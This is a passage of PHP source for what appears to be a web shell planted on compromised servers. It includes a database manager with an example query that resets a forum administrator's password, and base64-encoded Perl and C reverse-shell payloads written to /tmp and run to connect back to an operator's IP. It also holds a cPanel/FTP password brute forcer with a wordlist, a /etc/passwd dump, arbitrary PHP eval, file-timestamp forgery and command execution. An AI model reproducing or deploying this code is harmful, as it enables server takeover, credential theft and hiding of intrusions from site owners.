776 !$dbuser && $dbuser = 'root';
777 !$dbport && $dbport = '3306';
778 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
779 if(isset($dbhost)){
780 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
781 }
782 if(isset($dbuser)) {
783 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
784 }
785 if(isset($dbpass)) {
786 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
787 }
788 if(isset($dbport)) {
789 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
790 }
791 if(isset($dbname)) {
792 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
793 }
794 if(isset($charset)) {
795 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
796 }
797
798 if ($doing == 'backupmysql' && $saveasfile) {
799 if (!$table) {
800 m('Please choose the table');
801 } else {
802 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
803 $table = array_flip($table);
804 $fp = @fopen($path,'w');
805 if ($fp) {
806 $result = q('SHOW tables');
807 if (!$result) p('<h2>'.mysql_error().'</h2>');
808 $mysqldata = '';
809 while ($currow = mysql_fetch_array($result)) {
810 if (isset($table[$currow[0]])) {
811 sqldumptable($currow[0], $fp);
812 }
813 }
814 fclose($fp);
815 $fileurl = str_replace(SA_ROOT,'',$path);
816 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
817 mysql_close();
818 } else {
819 m('Backup failed');
820 }
821 }
822 }
823 if ($insert && $insertsql) {
824 $keystr = $valstr = $tmp = '';
825 foreach($insertsql as $key => $val) {
826 if ($val) {
827 $keystr .= $tmp.$key;
828 $valstr .= $tmp."'".addslashes($val)."'";
829 $tmp = ',';
830 }
831 }
832 if ($keystr && $valstr) {
833 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
834 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
835 }
836 }
837 if ($update && $insertsql && $base64) {
838 $valstr = $tmp = '';
839 foreach($insertsql as $key => $val) {
840 $valstr .= $tmp.$key."='".addslashes($val)."'";
841 $tmp = ',';
842 }
843 if ($valstr) {
844 $where = base64_decode($base64);
845 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
846 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
847 }
848 }
849 if ($doing == 'del' && $base64) {
850 $where = base64_decode($base64);
851 $delete_sql = "DELETE FROM $tablename WHERE $where";
852 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
853 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
854 }
855
856 if ($tablename && $doing == 'drop') {
857 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
858 if (q("DROP TABLE $tablename")) {
859 m('Drop table of success');
860 $tablename = '';
861 } else {
862 m(mysql_error());
863 }
864 }
865
866 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
867
868 formhead(array('title'=>'MYSQL Manager'));
869 makehide('action','sqladmin');
870 p('<p>');
871 p('DBHost:');
872 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
873 p(':');
874 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
875 p('DBUser:');
876 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
877 p('DBPass:');
878 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
879 p('DBCharset:');
880 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
881 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
882 p('</p>');
883 formfoot();
884?>
885<script type="text/javascript">
886function editrecord(action, base64, tablename){
887 if (action == 'del') {
888 if (!confirm('Is or isn\'t deletion record?')) return;
889 }
890 $('recordlist').doing.value=action;
891 $('recordlist').base64.value=base64;
892 $('recordlist').tablename.value=tablename;
893 $('recordlist').submit();
894}
895function moddbname(dbname) {
896 if(!dbname) return;
897 $('setdbname').dbname.value=dbname;
898 $('setdbname').submit();
899}
900function settable(tablename,doing,page) {
901 if(!tablename) return;
902 if (doing) {
903 $('settable').doing.value=doing;
904 }
905 if (page) {
906 $('settable').page.value=page;
907 }
908 $('settable').tablename.value=tablename;
909 $('settable').submit();
910}
911</script>
912<?php
913 // SQL
914 formhead(array('name'=>'recordlist'));
915 makehide('doing');
916 makehide('action','sqladmin');
917 makehide('base64');
918 makehide('tablename');
919 p($dbform);
920 formfoot();
921
922 // Data
923 formhead(array('name'=>'setdbname'));
924 makehide('action','sqladmin');
925 p($dbform);
926 if (!$dbname) {
927 makehide('dbname');
928 }
929 formfoot();
930
931
932 formhead(array('name'=>'settable'));
933 makehide('action','sqladmin');
934 p($dbform);
935 makehide('tablename');
936 makehide('page',$page);
937 makehide('doing');
938 formfoot();
939
940 $cachetables = array();
941 $pagenum = 30;
942 $page = intval($page);
943 if($page) {
944 $start_limit = ($page - 1) * $pagenum;
945 } else {
946 $start_limit = 0;
947 $page = 1;
948 }
949 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
950 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
951 // get mysql server
952 $mysqlver = mysql_get_server_info();
953 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
954 $highver = $mysqlver > '4.1' ? 1 : 0;
955
956 // Show database
957 $query = q("SHOW DATABASES");
958 $dbs = array();
959 $dbs[] = '-- Select a database --';
960 while($db = mysql_fetch_array($query)) {
961 $dbs[$db['Database']] = $db['Database'];
962 }
963 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
964 $tabledb = array();
965 if ($dbname) {
966 p('<p>');
967 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
968 if ($tablename) {
969 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
970 }
971 p('</p>');
972 mysql_select_db($dbname);
973
974 $getnumsql = '';
975 $runquery = 0;
976 if ($sql_query) {
977 $runquery = 1;
978 }
979 $allowedit = 0;
980 if ($tablename && !$sql_query) {
981 $sql_query = "SELECT * FROM $tablename";
982 $getnumsql = $sql_query;
983 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
984 $allowedit = 1;
985 }
986 p('<form action="'.$self.'" method="POST">');
987 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
988 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
989 makehide('tablename', $tablename);
990 makehide('action','sqladmin');
991 p($dbform);
992 p('</form>');
993 if ($tablename || ($runquery && $sql_query)) {
994 if ($doing == 'structure') {
995 $result = q("SHOW COLUMNS FROM $tablename");
996 $rowdb = array();
997 while($row = mysql_fetch_array($result)) {
998 $rowdb[] = $row;
999 }
1000 p('<table border="0" cellpadding="3" cellspacing="0">');
1001 p('<tr class="head">');
1002 p('<td>Field</td>');
1003 p('<td>Type</td>');
1004 p('<td>Null</td>');
1005 p('<td>Key</td>');
1006 p('<td>Default</td>');
1007 p('<td>Extra</td>');
1008 p('</tr>');
1009 foreach ($rowdb as $row) {
1010 $thisbg = bg();
1011 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1012 p('<td>'.$row['Field'].'</td>');
1013 p('<td>'.$row['Type'].'</td>');
1014 p('<td>'.$row['Null'].' </td>');
1015 p('<td>'.$row['Key'].' </td>');
1016 p('<td>'.$row['Default'].' </td>');
1017 p('<td>'.$row['Extra'].' </td>');
1018 p('</tr>');
1019 }
1020 tbfoot();
1021 } elseif ($doing == 'insert' || $doing == 'edit') {
1022 $result = q('SHOW COLUMNS FROM '.$tablename);
1023 while ($row = mysql_fetch_array($result)) {
1024 $rowdb[] = $row;
1025 }
1026 $rs = array();
1027 if ($doing == 'insert') {
1028 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1029 } else {
1030 p('<h2>Update record in '.$tablename.' table »</h2>');
1031 $where = base64_decode($base64);
1032 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1033 $rs = mysql_fetch_array($result);
1034 }
1035 p('<form method="post" action="'.$self.'">');
1036 p($dbform);
1037 makehide('action','sqladmin');
1038 makehide('tablename',$tablename);
1039 p('<table border="0" cellpadding="3" cellspacing="0">');
1040 foreach ($rowdb as $row) {
1041 if ($rs[$row['Field']]) {
1042 $value = htmlspecialchars($rs[$row['Field']]);
1043 } else {
1044 $value = '';
1045 }
1046 $thisbg = bg();
1047 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1048 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1049 }
1050 if ($doing == 'insert') {
1051 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1052 } else {
1053 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1054 makehide('base64', $base64);
1055 }
1056 p('</table></form>');
1057 } else {
1058 $querys = @explode(';',$sql_query);
1059 foreach($querys as $num=>$query) {
1060 if ($query) {
1061 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1062 switch(qy($query))
1063 {
1064 case 0:
1065 p('<h2>Error : '.mysql_error().'</h2>');
1066 break;
1067 case 1:
1068 if (strtolower(substr($query,0,13)) == 'select * from') {
1069 $allowedit = 1;
1070 }
1071 if ($getnumsql) {
1072 $tatol = mysql_num_rows(q($getnumsql));
1073 $multipage = multi($tatol, $pagenum, $page, $tablename);
1074 }
1075 if (!$tablename) {
1076 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1077 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1078 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1079 $tablename = $matches[1][0];
1080 }
1081 $result = q($query);
1082 p($multipage);
1083 p('<table border="0" cellpadding="3" cellspacing="0">');
1084 p('<tr class="head">');
1085 if ($allowedit) p('<td>Action</td>');
1086 $fieldnum = @mysql_num_fields($result);
1087 for($i=0;$i<$fieldnum;$i++){
1088 $name = @mysql_field_name($result, $i);
1089 $type = @mysql_field_type($result, $i);
1090 $len = @mysql_field_len($result, $i);
1091 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1092 }
1093 p('</tr>');
1094 while($mn = @mysql_fetch_assoc($result)){
1095 $thisbg = bg();
1096 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1097 $where = $tmp = $b1 = '';
1098 foreach($mn as $key=>$inside){
1099 if ($inside) {
1100 $where .= $tmp.$key."='".addslashes($inside)."'";
1101 $tmp = ' AND ';
1102 }
1103 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1104 }
1105 $where = base64_encode($where);
1106 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1107 p($b1);
1108 p('</tr>');
1109 unset($b1);
1110 }
1111 tbfoot();
1112 p($multipage);
1113 break;
1114 case 2:
1115 $ar = mysql_affected_rows();
1116 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1117 break;
1118 }
1119 }
1120 }
1121 }
1122 } else {
1123 $query = q("SHOW TABLE STATUS");
1124 $table_num = $table_rows = $data_size = 0;
1125 $tabledb = array();
1126 while($table = mysql_fetch_array($query)) {
1127 $data_size = $data_size + $table['Data_length'];
1128 $table_rows = $table_rows + $table['Rows'];
1129 $table['Data_length'] = sizecount($table['Data_length']);
1130 $table_num++;
1131 $tabledb[] = $table;
1132 }
1133 $data_size = sizecount($data_size);
1134 unset($table);
1135 p('<table border="0" cellpadding="0" cellspacing="0">');
1136 p('<form action="'.$self.'" method="POST">');
1137 makehide('action','sqladmin');
1138 p($dbform);
1139 p('<tr class="head">');
1140 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1141 p('<td>Name</td>');
1142 p('<td>Rows</td>');
1143 p('<td>Data_length</td>');
1144 p('<td>Create_time</td>');
1145 p('<td>Update_time</td>');
1146 if ($highver) {
1147 p('<td>Engine</td>');
1148 p('<td>Collation</td>');
1149 }
1150 p('</tr>');
1151 foreach ($tabledb as $key => $table) {
1152 $thisbg = bg();
1153 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1154 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1155 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1156 p('<td>'.$table['Rows'].'</td>');
1157 p('<td>'.$table['Data_length'].'</td>');
1158 p('<td>'.$table['Create_time'].'</td>');
1159 p('<td>'.$table['Update_time'].'</td>');
1160 if ($highver) {
1161 p('<td>'.$table['Engine'].'</td>');
1162 p('<td>'.$table['Collation'].'</td>');
1163 }
1164 p('</tr>');
1165 }
1166 p('<tr class=fout>');
1167 p('<td> </td>');
1168 p('<td>Total tables: '.$table_num.'</td>');
1169 p('<td>'.$table_rows.'</td>');
1170 p('<td>'.$data_size.'</td>');
1171 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1172 p('</tr>');
1173
1174 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1175 makehide('doing','backupmysql');
1176 formfoot();
1177 p("</table>");
1178 fr($query);
1179 }
1180 }
1181 }
1182 tbfoot();
1183 @mysql_close();
1184}//end sql backup
1185
1186
1187elseif ($action == 'backconnect') {
1188 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1189 !$yourport && $yourport = '80';
1190 $usedb = array('perl'=>'perl','c'=>'c');
1191
1192 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1193 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1194 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1195 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1196 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1197 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1198 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1199 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1200 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1201 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1202 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1203 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1204 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1205 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1206 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1207
1208 if ($start && $yourip && $yourport && $use){
1209 if ($use == 'perl') {
1210 cf('/tmp/angel_bc',$back_connect);
1211 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1212 } else {
1213 cf('/tmp/angel_bc.c',$back_connect_c);
1214 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1215 @unlink('/tmp/angel_bc.c');
1216 $res = execute("/tmp/angel_bc $yourip $yourport &");
1217 }
1218 m("Now script try connect to $yourip port $yourport ...");
1219 }
1220
1221 formhead(array('title'=>'Back Connect'));
1222 makehide('action','backconnect');
1223 p('<p>');
1224 p('Your IP:');
1225 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1226 p('Your Port:');
1227 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1228 p('Use:');
1229 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1230 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1231 p('</p>');
1232 formfoot();
1233}//end backconnect window via NC
1234
1235// Brute
1236elseif ($action == 'brute') {
1237formhead(array('title'=>'Brute Forcer'));
1238 makehide('action','brute');
1239 makehide('dir',$brute);
1240@ini_set('memory_limit', 1000000000000);
1241$connect_timeout=5;
1242@set_time_limit(0);
1243$submit = $_REQUEST['submit'];
1244$users = $_REQUEST['users'];
1245$pass = $_REQUEST['passwords'];
1246$target = $_REQUEST['target'];
1247$option = $_REQUEST['option'];
1248
1249
1250$passlist = "0123456
125101234567
1252012345678
12530123456789
125401234567890
1255123456
12561234567
125712345678
1258123456789
12591234567890
1260111111
1261000000
1262222222
1263333333
1264444444
1265555555
1266666666
1267777777
1268888888
1269999999
1270123123
1271456456
1272789789
1273123321
1274456654
1275654321
12767654321
127787654321
1278987654321
12790987654321
1280admin
1281administrator
1282admincp
1283cpanel
1284adminx
1285admins
1286password
1287passwords
1288passw0rd
1289p@ssw0rd
1290p@ssword
1291khongco
129225251325
1293passw0rds";
1294if($target == ''){
1295$target = 'localhost';
1296}
1297print " <div align='center'>
1298<form method='post' style='border: 1px solid #000000'><br><br>
1299<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1300<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1301<div align='center'><br>
1302<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1303<tr>
1304<td align='center'>
1305<b>Username</b></td>
1306<td>
1307<p align='center'>
1308<b>Password</b></td>
1309</tr>
1310</table>
1311<p align='center'>
1312<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1313$i = 0;
1314while ($i < 60000) {
1315
1316 $line = posix_getpwuid($i);
1317 if (!empty($line)) {
1318
1319 while (list ($key, $vba_etcpwd) = each($line)){
1320 echo "".$vba_etcpwd."\n";
1321 break;
1322 }
1323
1324 }
1325
1326 $i++;
1327}
1328echo "
1329</textarea>
1330<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1331<br>
1332<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1333<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1334</td></tr></table></td></tr></form><p align= 'left'>";
1335?>
1336<?php
1337function ftp_check($host,$user,$pass,$timeout){
1338$ch = curl_init();
1339curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1340curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1341curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1342curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1343curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1344curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1345curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1346$data = curl_exec($ch);
1347if ( curl_errno($ch) == 28 ) {
1348
1349print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1350exit;}
1351
1352elseif ( curl_errno($ch) == 0 ){
1353
1354p("<b>[ [email]attack@vbateam.net[/email] ]# </b>
1355<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1356}
1357curl_close($ch);}
1358
1359function cpanel_check($host,$user,$pass,$timeout){
1360$ch = curl_init();
1361curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1362curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1363curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1364curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1365curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1366curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1367$data = curl_exec($ch);
1368if ( curl_errno($ch) == 28 ) {
1369print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1370exit;}
1371elseif ( curl_errno($ch) == 0 ){
1372
1373p("<b>[ [email]attack@vbateam.net[/email] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1374
1375if(isset($submit) && !empty($submit)){
1376
1377$userlist = explode ("\n" , $users );
1378$passlist = explode ("\n" , $pass );
1379p('<b>[ [email]attack@vbateam.net[/email] ]# Attacking ...</font></b><br>');
1380foreach ($userlist as $user) {
1381$_user = trim($user);
1382foreach ($passlist as $password ) {
1383$_pass = trim($password);
1384if($option == "ftp"){
1385ftp_check($target,$_user,$_pass,$connect_timeout);
1386}
1387if ($option == "cpanel")
1388{
1389cpanel_check($target,$_user,$_pass,$connect_timeout);
1390}
1391}
1392}
1393}
1394
1395 formfoot();
1396}
1397
1398
1399
1400
1401
1402
1403elseif ($action == 'etcpwd') {
1404formhead(array('title'=>'Get /etc/passwd'));
1405 makehide('action','etcpwd');
1406 makehide('dir',$nowpath);
1407$i = 0;
1408 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1409while ($i < 60000) {
1410
1411 $line = posix_getpwuid($i);
1412 if (!empty($line)) {
1413
1414 while (list ($key, $vba_etcpwd) = each($line)){
1415 echo "".$vba_etcpwd."\n";
1416 break;
1417 }
1418
1419 }
1420
1421 $i++;
1422}
1423 echo "</textarea></p>";
1424 formfoot();
1425}
1426
1427elseif ($action == 'eval') {
1428 $phpcode = trim($phpcode);
1429 if($phpcode){
1430 if (!preg_match('#<\?#si', $phpcode)) {
1431 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1432 }
1433 eval("?".">$phpcode<?");
1434 }
1435 formhead(array('title'=>'Eval PHP Code'));
1436 makehide('action','eval');
1437 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1438 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1439 formfooter();
1440}//end eval
1441
1442elseif ($action == 'editfile') {
1443 if(file_exists($opfile)) {
1444 $fp=@fopen($opfile,'r');
1445 $contents=@fread($fp, filesize($opfile));
1446 @fclose($fp);
1447 $contents=htmlspecialchars($contents);
1448 }
1449 formhead(array('title'=>'Create / Edit File'));
1450 makehide('action','file');
1451 makehide('dir',$nowpath);
1452 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1453 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1454 formfooter();
1455}//end editfile
1456
1457elseif ($action == 'newtime') {
1458 $opfilemtime = @filemtime($opfile);
1459 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1460 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1461 formhead(array('title'=>'Clone file was last modified time'));
1462 makehide('action','file');
1463 makehide('dir',$nowpath);
1464 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1465 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1466 formfooter();
1467 formhead(array('title'=>'Set last modified'));
1468 makehide('action','file');
1469 makehide('dir',$nowpath);
1470 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1471 p('<p>Instead »');
1472 p('year:');
1473 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1474 p('month:');
1475 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1476 p('day:');
1477 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1478 p('hour:');
1479 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1480 p('minute:');
1481 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1482 p('second:');
1483 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1484 p('</p>');
1485 formfooter();
1486}//end newtime
1487
1488elseif ($action == 'shell') {
1489 if (IS_WIN && IS_COM) {
1490 if($program && $parameter) {
1491 $shell= new COM('Shell.Application');
1492 $a = $shell->ShellExecute($program,$parameter);
1493 m('Program run has '.(!$a ? 'success' : 'fail'));
1494 }
1495 !$program && $program = 'c:\windows\system32\cmd.exe';
1496 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1497 formhead(array('title'=>'Execute Program'));
1498 makehide('action','shell');
1499 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1500 p('<p>');
1501 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1502 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1503 p('</p>');
1504 formfoot();
1505 }
1506 formhead(array('title'=>'Execute Command'));
1507 makehide('action','shell');
1508 if (IS_WIN && IS_COM) {
1509 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1510 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1511 }
1512 p('<p>');
